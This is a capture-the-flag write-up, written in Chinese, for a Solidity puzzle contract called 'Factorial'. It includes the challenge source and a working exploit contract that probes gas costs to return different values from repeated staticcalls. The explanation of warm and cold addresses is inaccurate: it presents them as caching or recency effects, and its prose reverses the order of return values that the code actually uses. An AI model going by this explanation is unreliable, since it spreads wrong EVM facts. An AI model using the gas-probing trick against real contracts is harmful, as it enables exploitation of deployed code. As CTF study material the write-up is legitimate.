题目源代码:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13;
contract Factorial { bool public solved = false;
function run(uint256 number) internal view returns (uint256) { uint256 res = 1; for (uint256 index = 0; index < number; index++) { (, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("factorial(uint256)", number)); res = res * abi.decode(data, (uint256)); } return res; }
function solve() public { require(run(5) == 120, "wrong"); solved = true; } }
|
阅读代码,就是五次返回值的乘积要为120,又了解到一个新知识,冷地址和新地址
热地址(Hot Address):在 EVM 中,”热” 地址通常指的是近期被频繁访问过的地址或合约。这些地址的数据和代码可能已经被加载到 EVM 的缓存中,因此访问这些地址会更快,消耗的 gas 较少。
冷地址(Cold Address):冷地址通常指的是很少被访问的地址,或者是很久没有与之交互的合约地址。当你访问这些冷地址时,由于 EVM 可能需要重新加载代码和数据,导致访问时的 gas 消耗更高。
然后就可以先使用热地址,返回120,接下来再使用冷地址返回1,这样他们的乘积就能返回120了
攻击代码:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13;
interface IFactorial { function solve() external; }
contract Exploit { IFactorial level;
// construct() {} // construct not allowed
function exploit() public { // write code here address target = 0x1963ead4de36524e8EB53B88ccf79ff15Fe20baB; level = IFactorial(target); level.solve(); }
function factorial(uint256) public view returns (bytes32) { uint startGas = gasleft(); uint bal = address(0x100).balance; uint usedGas = startGas - gasleft(); if (usedGas < 1000) { bytes32 data01 = bytes32(uint256(1)); return data01; } bytes32 data02 = bytes32(uint256(120)); return data02; }
}
|